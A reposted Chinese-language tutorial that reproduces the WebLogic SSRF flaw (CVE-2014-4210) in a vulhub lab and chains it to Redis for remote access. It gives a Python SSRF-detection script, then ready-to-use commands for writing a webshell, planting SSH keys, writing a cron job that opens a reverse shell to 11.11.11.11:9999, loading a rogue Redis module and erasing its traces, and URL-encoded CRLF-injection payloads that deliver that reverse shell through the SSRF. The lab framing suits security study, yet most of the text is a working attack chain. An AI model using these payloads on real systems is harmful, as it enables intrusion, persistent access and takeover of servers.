weblogic從ssrf到redis獲取shell


前言

一、環境搭建和知識儲備

1.1、影響版本

CVE-2014-4210

weblogic 10.0.2.0
weblogic 10.3.6.0

1.2、Docker搭建環境

1.進入vulhub/fastjson,啟動docker即可

cd /root/vulhub/weblogic/ssrf
docker-compose up -d

2.查看啟動的docker進程

docker ps

二、漏洞復現

2.1、weblogic的SSRF漏洞

1.漏洞存在於weblogic目錄下的/uddiexplorer/SearchPublicRegistries.jsp文件。當我們訪問這個文件,就會獲得對應應用的頁面

2.漏洞點在於該文件的一個參數operator,我們通過如下的url去訪問

http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

服務器返回

returned a 404 error code

然后我們訪問一個不存在的端口,比如9562

它就會返回

but could not connect over HTTP to server

在這之后,我們通過該參數訪問一個內網存在的redis服務

它返回的信息為

which did not have a valid SOAP

通過以上請求和回顯我們知道,針對不同地址和端口的探測,服務端存在着不同的回顯,尤其是針對本機存在端口和不存在端口,展現出了兩種形式。針對內網其他主機存在的服務,服務端也給出了有意義的回顯,那么此處可證其存在ssrf漏洞。

2.2、weblogic的SSRF回顯類型

我們已經知道,weblogic存在着SSRF。那么如何利用這個SSRF判斷內網的存活ip和端口呢,這就需要我們通過不同的返回情況進行判斷,從而決定該端口或ip是否存活,在這之前,我們需要了解這個ssrf返回值的情況。

1)存活ip:http://127.0.0.1:7001
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.

不存活ip:探測由於tcp的等待,會有一定延時
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '192.168.25.1', port: '7001'


2)探測存活端口和不存活端口,使用可使用的協議和ip
存活端口:
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.
不存活端口:
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'

3)探測可用協議和不可用協議,使用可使用的ip和端口
可用協議:
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.

不可用協議:
weblogic.uddi.client.structures.exception.XML_SoapException: unknown protocol: ssr

可用協議但協議和端口不匹配:
java.lang.ClassCastException: sun.net.www.protocol.ftp.FtpURLConnection cannot be cast to java.net.HttpURLConnection

不寫協議:
weblogic.uddi.client.structures.exception.XML_SoapException: no protocol: 192.168.0.1

從上面不同的返回值可以看出,不存活ip和不存活端口兩者的返回值相同,那么我們很難用簡單的方式去探測內網存活主機和端口。只能考慮最暴力的方式,就是用http://ip:port的形式去爆破嘗試,直到返回值區別於這二者不存活的形式,假如我們掃描1000個常用端口和一個c段ip,就是需要254*1000次請求,這樣在內網大流量的掃描是很難實現的,只能在無可奈何或者有其他輔助的情況下進行。
因此這一部分針對內網存活ip和端口的探測暫且如此,如果有不同的思路歡迎探討。

2.3、weblogic-SSRF漏洞判斷POC

1)、poc的構造思路很簡單,我們只需要針對目標機的端口發起不同的請求,根據返回值判斷與上述返回值是否相同,即可判斷出是否存在ssrf。流程如下:

2)、poc:

import re,requests
import threading,random
from optparse import OptionParser

class Test(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
    def visit(self,weblogic_domain,weblogic_port):
        headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36"}
        payload = "/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:{weblogic_port}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(weblogic_port=weblogic_port)
        url = weblogic_domain.rstrip("/") + payload
        try:
            print(url)
            visitResult = requests.get(url=url,verify=False,headers=headers,timeout=5).text
            return visitResult
        except:
            exit("we can't visit your domain")
            pass
    def check(self,weblogic_domain,weblogic_port):
        temp = 0
        print("[+]Checking the open port "+weblogic_port)
        portOpenResult = re.findall(r"returned a 404 error code", self.visit(weblogic_domain,weblogic_port), re.DOTALL)
        if portOpenResult:
            temp = 1
        print("[+]Checking the open port finished")
        #隨機3個端口
        notOpenPort = [str(int(weblogic_port)+random.randint(10000,20000)),str(int(weblogic_port)+random.randint(10000,20000)),str(int(weblogic_port)+random.randint(10000,20000))]
        for line in notOpenPort:
            print("[+]Checking the not open port " + line)
            portOpenResult = re.findall(r"but could not connect over HTTP to server|returned a 404 error code", self.visit(weblogic_domain,line), re.DOTALL)
            print(portOpenResult)
            if portOpenResult:
                temp = 1
            else:
                temp = 0
        print("[+]Checking the not open port finished")
        #經過了兩次檢測,若是都完成,則認為存在ssrf漏洞
        if temp == 1:
            return weblogic_domain + " has ssrf"
        else:
            return weblogic_domain + " has not exist ssrf"
def ParseArgs():
    parser = OptionParser("usage: python weblogic-ssrf.py -u http://test.com:9000")
    parser.add_option("-u", dest="url", type="string",help="Specify the target url")
    options,args = parser.parse_args()
    if options.url ==None:
        print(parser.usage)
        exit(0)
    return options,args

if __name__ == "__main__":
    options, args = ParseArgs()
    port = str(options.url).split(":")[-1].strip("/")
    t = Test()
    print(t.check(str(options.url),port))

3)、使用示例

D:\pycharm\pro1_spider\test>python37 test1.py -u http://192.168.52.130:7001
[+]Checking the open port 7001
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
[+]Checking the open port finished
[+]Checking the not open port 19598
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:19598&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port 19337
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:19337&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port 17810
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:17810&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port finished
http://192.168.52.130:7001 has ssrf

三、漏洞利用

3.1、利用redis獲取shell

3.1.1、redis寫入webshell

1)、利用前提
這種方式寫入shell的前提是redis服務器和web服務器在同一台主機,且上傳的webshell能被解析。然而redis服務器和web服務器在同一台主機上的情況會比較少。
比如常見的就是php一句話和jsp的小馬(等同於一句話),這二者的特點就是web容器即便解析不了其它的字符,也能解析其中的代碼。比如xxxxaaaaa這個樣子。
那么我需要提及的是jsp字符有點多,在寫入時總會出現亂碼,就沒有做深入探究。
2)、寫入webshell
連接redis數據庫

redis-cli -h 172.21.0.2

查看數據庫個數

config get databases

選擇適合的數據庫作為寫入備份的那個,最好為空

select 1  \\選擇
dbsize \\查看其中的數據數量

寫入的payload

config set dir /var/www/html
config set dbfilename shell.php
save

最后就會在/var/www/html目錄下看到shell.php,我這里由於沒有這個目錄,寫在了其它目錄,其它情況需要自行更改。

3.1.2、寫入ssh免密登錄

1)、利用條件
這個方法比較實用,僅需redis服務以root權限運行,且存在/root/.ssh/即可。一般很多服務由於配置麻煩的原因,管理員通常會選擇root用戶去配置,尤其是redis這種便捷式的。而/root/.ssh/目錄只要存在ssh服務的機器就會有。
2)、攻擊機生成公私鑰

ssh-keygen -t rsa

沒有指定目錄的話生成在.ssh目錄下
3)、寫入公鑰文件至redis數據庫

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -p 6380  -x set x

-x是從stdin中讀取數據,加上set 1是將數據放入redis的key,x
4)、redis數據庫寫入authorized_key至.ssh目錄下

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

5)、直接用ssh登錄即可
我們可以看到不存在authorized_keys時登錄是這樣的

寫入authorized_keys后就直接登錄

3.1.3、計划任務反彈shell

1)、利用條件
利用計划任務反彈shell在centos上可以完美執行,debian、ubuntu等環境中由於這些環境對計划任務的格式解析非常嚴格所以是沒辦法執行成功。

/etc/crontab,臟數據解析失敗
/var/spool/cron/crontabs/root,redis默認寫入644非600,提示失敗

這里提供一個查看linux發行版的方法作為備用

ls /etc/*release

2)、反彈shell
原理是利用了redis的備份寫入了計划任務

set x "\n*/1 * * * * bash -i >& /dev/tcp/11.11.11.11/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

要注意計划任務的寫法,上述的寫法是每隔1分鍾就反彈一次,所以獲取shell后要注意清除。
反彈回來的shell如圖:

3.1.4、Redis主從復制getshell

1)、前言
這一部分需要的前置知識會相對復雜一點,由於主要還是weblogic漏洞的復現,就不再拓展了,我將別人的復現流程搬了過來。這個方式針對的是4.x-5.x版本的redis,獲取的是redis權限。參照淺析Linux下Redis的攻擊面(一)
2)、主從復制getshell
redis-rogue-server.py
[1]、外網vps+redis在外網環境下使用命令:

python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6380 --lhost docker.for.mac.host.internal --lport 8088

[2]、redis內網,但可以反彈shell出來的環境下,服務端執行

python3 redis-rogue-server.py --server-only

登錄redis執行如下命令

config set dir ./
config set dbfilename exp.so
slaveof X.X.X.195
slaveof X.X.X.195 21000  #上面看綁定的服務段端口是21000
module load ./exp.so
slaveof no one
system.exec 'whoami'

清理痕跡
config set dbfilename dump.rdb
system.exec 'rm ./exp.so'
module unload system

3.2、從ssrf到redis獲取shell

3.2.1、weblogic-ssrf的CRLF注入

[1]、要利用這個ssrf獲取shell,我們首先要了解weblogic對於\r\n的處理,weblogic中的ssrf可以通過%0d%0a來注入\r\n,這也是我們常說的CRLF攻擊,我們可以測試一下。
首先准備如下的redis命令,也可以是其它

test

set 1 "\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/11.11.11.11/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

HTTP/1.1

我們對其url編碼,並且在需要換行的地方加入%0d%0a,payload如下

http://172.21.0.2:9999/test%0d%0a%0d%0aset+1+%22%5cn%5cn%5cn%5cn*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f11.11.11.11%2f9999+0%3e%261%5cn%5cn%5cn%5cn%22%0d%0aconfig+set+dir+%2fetc%2f%0d%0aconfig+set+dbfilename+crontab%0d%0asave%0d%0a%0d%0aHTTP%2f%1%2e1

[2]、在weblogic的ssrf漏洞探測的內網服務redis服務器上利用nc監聽一個9999端口測試,發送payload

[3]、在監聽端口即可收到如下被注入的請求

可以看到,HTTP的header頭被該改變了,原本屬於header頭的內容變成了發送的數據。那么只要redis服務能夠將我們注入的redis命令獲取並解析,就相當於利用了ssrf執行redis命令,再利用我們上文提到的計划任務即可getshell。

3.2.2、利用ssrf漏洞getshell

關於redis如何理解http協議,並能夠處理其數據,這個需要理解redis的底層,此處不做探究,僅僅需要知道redis可以理解3.2.1中第3節的圖片中的數據包類型並能夠執行就足夠了,我們利用這一點getshell。
payload,這個payload是operator的參數

http://172.21.0.2:6379/test%0d%0a%0d%0aset+x+%22%5cn*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f11.11.11.11%2f9999+0%3e%261%5cn%22%0d%0aconfig+set+dir+%2fvar%2fspool%2fcron%2f%0d%0aconfig+set+dbfilename+root%0d%0asave%0d%0a%0d%0aHTTP%2f1%2e1

發送數據包如圖

結果如圖

參考:

https://xz.aliyun.com/t/7974#toc-1

https://www.jianshu.com/p/97b157a20108

https://vulhub.org/#/environments/weblogic/ssrf/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM